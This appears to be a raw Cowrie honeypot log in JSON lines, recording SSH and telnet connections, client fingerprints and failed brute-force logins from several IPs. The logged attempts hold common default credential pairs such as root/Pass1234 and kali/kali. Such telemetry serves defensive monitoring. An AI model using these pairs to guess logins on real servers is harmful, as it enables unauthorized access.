{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":53286,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e3584fa111b","protocol":"ssh","message":"New connection: 80.94.92.182:53286 (10.17.0.5:22) [session: 2e3584fa111b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:24.503047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:24.665886Z","src_ip":"80.94.92.182","session":"2e3584fa111b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:24.670530Z","src_ip":"80.94.92.182","session":"2e3584fa111b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:24.883218Z","src_ip":"176.65.139.103","session":"813b3a69bf5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890-=","message":"login attempt [solana/1234567890-=] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:25.555659Z","src_ip":"80.94.92.182","session":"2e3584fa111b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56068,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a4e429cdb5","protocol":"telnet","message":"New connection: 185.26.126.47:56068 (159.203.135.109:23) [session: e8a4e429cdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:25.812210Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:26.667599Z","src_ip":"80.94.92.182","session":"2e3584fa111b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34838,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8cefce476d7","protocol":"ssh","message":"New connection: 176.65.139.103:34838 (10.17.0.5:22) [session: e8cefce476d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:30.557285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:30.563399Z","src_ip":"176.65.139.103","session":"e8cefce476d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:30.651101Z","src_ip":"176.65.139.103","session":"e8cefce476d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:30.909945Z","src_ip":"176.65.139.103","session":"e8cefce476d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:32.159644Z","src_ip":"176.65.139.103","session":"e8cefce476d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53832,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfaf9bc7eae4","protocol":"ssh","message":"New connection: 176.65.139.103:53832 (10.17.0.5:22) [session: bfaf9bc7eae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:37.552447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:37.582976Z","src_ip":"176.65.139.103","session":"bfaf9bc7eae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:37.669377Z","src_ip":"176.65.139.103","session":"bfaf9bc7eae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:38.055499Z","src_ip":"176.65.139.103","session":"bfaf9bc7eae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.51135015487671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:38.900116Z","src_ip":"8.219.215.112","session":"9842ede3169a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:39.182467Z","src_ip":"176.65.139.103","session":"bfaf9bc7eae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":56929,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f7dc2edaead","protocol":"ssh","message":"New connection: 52.231.220.210:56929 (10.17.0.5:22) [session: 7f7dc2edaead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:43.374663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:43.379024Z","src_ip":"52.231.220.210","session":"7f7dc2edaead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:43.573790Z","src_ip":"52.231.220.210","session":"7f7dc2edaead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40962,"dst_ip":"10.17.0.5","dst_port":22,"session":"56403eee49d2","protocol":"ssh","message":"New connection: 176.65.139.103:40962 (10.17.0.5:22) [session: 56403eee49d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:44.198493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:44.207985Z","src_ip":"176.65.139.103","session":"56403eee49d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:44.282090Z","src_ip":"176.65.139.103","session":"56403eee49d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@qwert","message":"login attempt [root/1234@qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:44.383585Z","src_ip":"52.231.220.210","session":"7f7dc2edaead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:44.620112Z","src_ip":"176.65.139.103","session":"56403eee49d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:45.580895Z","src_ip":"52.231.220.210","session":"7f7dc2edaead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:45.973129Z","src_ip":"176.65.139.103","session":"56403eee49d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40978,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f273ca8bb10","protocol":"ssh","message":"New connection: 176.65.139.103:40978 (10.17.0.5:22) [session: 8f273ca8bb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:51.573049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:51.578098Z","src_ip":"176.65.139.103","session":"8f273ca8bb10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:51.663332Z","src_ip":"176.65.139.103","session":"8f273ca8bb10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:52.200412Z","src_ip":"176.65.139.103","session":"8f273ca8bb10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:53.285046Z","src_ip":"176.65.139.103","session":"8f273ca8bb10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44406,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef1940ce9c0","protocol":"ssh","message":"New connection: 176.65.139.103:44406 (10.17.0.5:22) [session: 8ef1940ce9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:58.493297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:58.520387Z","src_ip":"176.65.139.103","session":"8ef1940ce9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:58.627699Z","src_ip":"176.65.139.103","session":"8ef1940ce9c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:58.965374Z","src_ip":"176.65.139.103","session":"8ef1940ce9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:00.243423Z","src_ip":"176.65.139.103","session":"8ef1940ce9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":51458,"dst_ip":"10.17.0.5","dst_port":22,"session":"505920724a66","protocol":"ssh","message":"New connection: 202.184.144.220:51458 (10.17.0.5:22) [session: 505920724a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:01.515232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:01.520736Z","src_ip":"202.184.144.220","session":"505920724a66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:01.761038Z","src_ip":"202.184.144.220","session":"505920724a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:02.752278Z","src_ip":"202.184.144.220","session":"505920724a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:03.994376Z","src_ip":"202.184.144.220","session":"505920724a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.23832583427429,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:06:04.050338Z","src_ip":"185.26.126.47","session":"e8a4e429cdb5","protocol":"telnet"}
